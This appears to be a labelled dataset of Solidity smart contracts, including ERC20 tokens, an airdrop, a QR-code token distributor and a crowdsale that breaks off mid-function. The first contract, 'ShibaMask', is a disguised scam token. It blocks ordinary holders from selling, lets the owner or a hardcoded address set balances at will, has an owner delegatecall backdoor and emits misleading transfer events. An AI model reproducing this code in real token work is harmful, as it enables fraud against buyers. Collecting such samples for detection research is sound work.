require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ShibaMask {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 256 |
pragma solidity 0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BecentToken is StandardToken {
string public name = "BecentToken";
string public symbol = "BCT";
uint public decimals = 18;
uint public INITIAL_SUPPLY = 10000000000 * 1000000000000000000;
address public masterAddress;
bool public paused = false;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
masterAddress = msg.sender;
}
modifier whenPaused() {
require(paused);
_;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier onlyMaster() {
require(msg.sender == masterAddress);
_;
}
function pause() public whenNotPaused onlyMaster {
paused = true;
}
function unpause() public whenPaused onlyMaster {
paused = false;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(!paused);
require(msg.data.length >= (2 * 32) + 4);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(!paused);
require(_value == 0 || allowed[msg.sender][_spender] == 0);
require(msg.data.length >= (2 * 32) + 4);
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint256 _addedValue
) public returns (bool) {
require(!paused);
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
) public returns (bool) {
require(!paused);
return super.decreaseApproval(_spender, _subtractedValue);
}
} | 1 | 5,456 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (signature.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.5;
library IndexedMerkleProof {
function compute(bytes memory proof, uint160 leaf) internal pure returns (uint160 root, uint256 index) {
uint160 computedHash = leaf;
for (uint256 i = 0; i < proof.length / 20; i++) {
uint160 proofElement;
assembly {
proofElement := div(mload(add(proof, add(32, mul(i, 20)))), 0x1000000000000000000000000)
}
if (computedHash < proofElement) {
computedHash = uint160(uint256(keccak256(abi.encodePacked(computedHash, proofElement))));
index += (1 << i);
} else {
computedHash = uint160(uint256(keccak256(abi.encodePacked(proofElement, computedHash))));
}
}
return (computedHash, index);
}
}
pragma solidity ^0.5.5;
contract InstaLend {
using SafeMath for uint;
address private _feesReceiver;
uint256 private _feesPercent;
bool private _inLendingMode;
modifier notInLendingMode {
require(!_inLendingMode);
_;
}
constructor(address receiver, uint256 percent) public {
_feesReceiver = receiver;
_feesPercent = percent;
}
function feesReceiver() public view returns(address) {
return _feesReceiver;
}
function feesPercent() public view returns(uint256) {
return _feesPercent;
}
function lend(
IERC20[] memory tokens,
uint256[] memory amounts,
address target,
bytes memory data
)
public
notInLendingMode
{
_inLendingMode = true;
uint256[] memory prevAmounts = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
prevAmounts[i] = tokens[i].balanceOf(address(this));
require(tokens[i].transfer(target, amounts[i]));
}
(bool res,) = target.call(data);
require(res, "Invalid arbitrary call");
for (uint i = 0; i < tokens.length; i++) {
uint256 expectedFees = amounts[i].mul(_feesPercent).div(100);
require(tokens[i].balanceOf(address(this)) >= prevAmounts[i].add(expectedFees));
if (_feesReceiver != address(this)) {
require(tokens[i].transfer(_feesReceiver, expectedFees));
}
}
_inLendingMode = false;
}
}
pragma solidity ^0.5.0;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
pragma solidity ^0.5.0;
library CheckedERC20 {
using SafeMath for uint;
function isContract(IERC20 addr) internal view returns(bool result) {
assembly {
result := gt(extcodesize(addr), 0)
}
}
function handleReturnBool() internal pure returns(bool result) {
assembly {
switch returndatasize()
case 0 {
result := 1
}
case 32 {
returndatacopy(0, 0, 32)
result := mload(0)
}
default {
revert(0, 0)
}
}
}
function handleReturnBytes32() internal pure returns(bytes32 result) {
assembly {
switch eq(returndatasize(), 32)
case 1 {
returndatacopy(0, 0, 32)
result := mload(0)
}
switch gt(returndatasize(), 32)
case 1 {
returndatacopy(0, 64, 32)
result := mload(0)
}
switch lt(returndatasize(), 32)
case 1 {
revert(0, 0)
}
}
}
function asmTransfer(IERC20 token, address to, uint256 value) internal returns(bool) {
require(isContract(token));
(bool res,) = address(token).call(abi.encodeWithSignature("transfer(address,uint256)", to, value));
require(res);
return handleReturnBool();
}
function asmTransferFrom(IERC20 token, address from, address to, uint256 value) internal returns(bool) {
require(isContract(token));
(bool res,) = address(token).call(abi.encodeWithSignature("transferFrom(address,address,uint256)", from, to, value));
require(res);
return handleReturnBool();
}
function asmApprove(IERC20 token, address spender, uint256 value) internal returns(bool) {
require(isContract(token));
(bool res,) = address(token).call(abi.encodeWithSignature("approve(address,uint256)", spender, value));
require(res);
return handleReturnBool();
}
function checkedTransfer(IERC20 token, address to, uint256 value) internal {
if (value > 0) {
uint256 balance = token.balanceOf(address(this));
asmTransfer(token, to, value);
require(token.balanceOf(address(this)) == balance.sub(value), "checkedTransfer: Final balance didn't match");
}
}
function checkedTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
if (value > 0) {
uint256 toBalance = token.balanceOf(to);
asmTransferFrom(token, from, to, value);
require(token.balanceOf(to) == toBalance.add(value), "checkedTransfer: Final balance didn't match");
}
}
}
pragma solidity ^0.5.5;
contract QRToken is InstaLend {
using SafeMath for uint;
using ECDSA for bytes;
using IndexedMerkleProof for bytes;
using CheckedERC20 for IERC20;
uint256 constant public MAX_CODES_COUNT = 1024;
uint256 constant public MAX_WORDS_COUNT = (MAX_CODES_COUNT + 31) / 32;
struct Distribution {
IERC20 token;
uint256 sumAmount;
uint256 codesCount;
uint256 deadline;
address sponsor;
uint256[32] bitMask;
}
mapping(uint160 => Distribution) public distributions;
event Created();
event Redeemed(uint160 root, uint256 index, address receiver);
constructor()
public
InstaLend(msg.sender, 1)
{
}
function create(
IERC20 token,
uint256 sumTokenAmount,
uint256 codesCount,
uint160 root,
uint256 deadline
)
external
notInLendingMode
{
require(0 < sumTokenAmount);
require(0 < codesCount && codesCount <= MAX_CODES_COUNT);
require(deadline > now);
token.checkedTransferFrom(msg.sender, address(this), sumTokenAmount);
Distribution storage distribution = distributions[root];
distribution.token = token;
distribution.sumAmount = sumTokenAmount;
distribution.codesCount = codesCount;
distribution.deadline = deadline;
distribution.sponsor = msg.sender;
}
function redeemed(uint160 root, uint index) public view returns(bool) {
Distribution storage distribution = distributions[root];
return distribution.bitMask[index / 32] & (1 << (index % 32)) != 0;
}
function redeem(
bytes calldata signature,
bytes calldata merkleProof
)
external
notInLendingMode
{
bytes32 messageHash = keccak256(abi.encodePacked(msg.sender));
address signer = ECDSA.recover(messageHash, signature);
(uint160 root, uint256 index) = merkleProof.compute(uint160(signer));
Distribution storage distribution = distributions[root];
require(distribution.bitMask[index / 32] & (1 << (index % 32)) == 0);
distribution.bitMask[index / 32] = distribution.bitMask[index / 32] | (1 << (index % 32));
distribution.token.checkedTransfer(msg.sender, distribution.sumAmount.div(distribution.codesCount));
emit Redeemed(root, index, msg.sender);
}
function abort(uint160 root)
public
notInLendingMode
{
Distribution storage distribution = distributions[root];
require(now > distribution.deadline);
uint256 count = 0;
for (uint i = 0; i < 1024; i++) {
if (distribution.bitMask[i / 32] & (1 << (i % 32)) != 0) {
count += distribution.sumAmount / distribution.codesCount;
}
}
distribution.token.checkedTransfer(distribution.sponsor, distribution.sumAmount.sub(count));
delete distributions[root];
}
} | 0 | 647 |
pragma solidity ^0.4.24;
interface Token {
function transfer(address _to, uint256 _value) external returns (bool);
}
contract onlyOwner {
address public owner;
bool private stopped = false;
constructor() public {
owner = msg.sender;
}
modifier isRunning {
require(!stopped);
_;
}
function stop() isOwner public {
stopped = true;
}
function start() isOwner public {
stopped = false;
}
modifier isOwner {
require(msg.sender == owner);
_;
}
}
contract AirDrop is onlyOwner{
Token token;
event TransferredToken(address indexed to, uint256 value);
constructor() public{
address _tokenAddr = 0x99092a458b405fb8c06c5a3aa01cffd826019568;
token = Token(_tokenAddr);
}
function() external payable{
withdraw();
}
function sendInternally(uint256 tokensToSend, uint256 valueToPresent) internal {
require(msg.sender != address(0));
token.transfer(msg.sender, tokensToSend);
emit TransferredToken(msg.sender, valueToPresent);
}
function withdraw() isRunning private returns(bool) {
sendInternally(400*10**18,400);
return true;
}
} | 0 | 1,767 |
pragma solidity ^0.4.23;
contract BurnableTokenInterface {
function burn(uint256 _value) public;
}
contract GrapevineWhitelistInterface {
function whitelist(address _address) view external returns (bool);
function handleOffchainWhitelisted(address _addr, bytes _sig) external returns (bool);
}
contract TokenTimelockControllerInterface {
function activate() external;
function createInvestorTokenTimeLock(
address _beneficiary,
uint256 _amount,
uint256 _start,
address _tokenHolder
) external returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract PostDeliveryCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function withdrawTokens() public {
require(hasClosed());
uint256 amount = balances[msg.sender];
require(amount > 0);
balances[msg.sender] = 0;
_deliverTokens(msg.sender, amount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
constructor(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract GrapevineCrowdsale is CappedCrowdsale, TimedCrowdsale, Pausable, RefundableCrowdsale, PostDeliveryCrowdsale {
using SafeMath for uint256;
TokenTimelockControllerInterface public timelockController;
GrapevineWhitelistInterface public authorisedInvestors;
GrapevineWhitelistInterface public earlyInvestors;
mapping(address => uint256) public bonuses;
uint256 deliveryTime;
uint256 tokensToBeDelivered;
constructor(
TokenTimelockControllerInterface _timelockController,
GrapevineWhitelistInterface _authorisedInvestors,
GrapevineWhitelistInterface _earlyInvestors,
uint256 _rate,
address _wallet,
ERC20 _token,
uint256 _openingTime,
uint256 _closingTime,
uint256 _softCap,
uint256 _hardCap)
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_hardCap)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_softCap)
public
{
timelockController = _timelockController;
authorisedInvestors = _authorisedInvestors;
earlyInvestors = _earlyInvestors;
deliveryTime = _closingTime.add(60*60*24*5);
}
function buyTokens(address _beneficiary, bytes _whitelistSign) public payable {
if (!earlyInvestors.handleOffchainWhitelisted(_beneficiary, _whitelistSign)) {
authorisedInvestors.handleOffchainWhitelisted(_beneficiary, _whitelistSign);
}
super.buyTokens(_beneficiary);
}
function withdrawTokens() public {
require(goalReached());
require(block.timestamp > deliveryTime);
super.withdrawTokens();
uint256 _bonusTokens = bonuses[msg.sender];
if (_bonusTokens > 0) {
bonuses[msg.sender] = 0;
require(token.approve(address(timelockController), _bonusTokens));
require(
timelockController.createInvestorTokenTimeLock(
msg.sender,
_bonusTokens,
deliveryTime,
this
)
);
}
}
function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal {
uint256 _totalTokens = _tokenAmount;
uint256 _bonus = getBonus(block.timestamp, _beneficiary, msg.value);
if (_bonus>0) {
uint256 _bonusTokens = _tokenAmount.mul(_bonus).div(100);
uint256 _currentBalance = token.balanceOf(this);
require(_currentBalance >= _totalTokens.add(_bonusTokens));
bonuses[_beneficiary] = bonuses[_beneficiary].add(_bonusTokens);
_totalTokens = _totalTokens.add(_bonusTokens);
}
tokensToBeDelivered = tokensToBeDelivered.add(_totalTokens);
super._processPurchase(_beneficiary, _tokenAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused {
require(authorisedInvestors.whitelist(_beneficiary) || earlyInvestors.whitelist(_beneficiary));
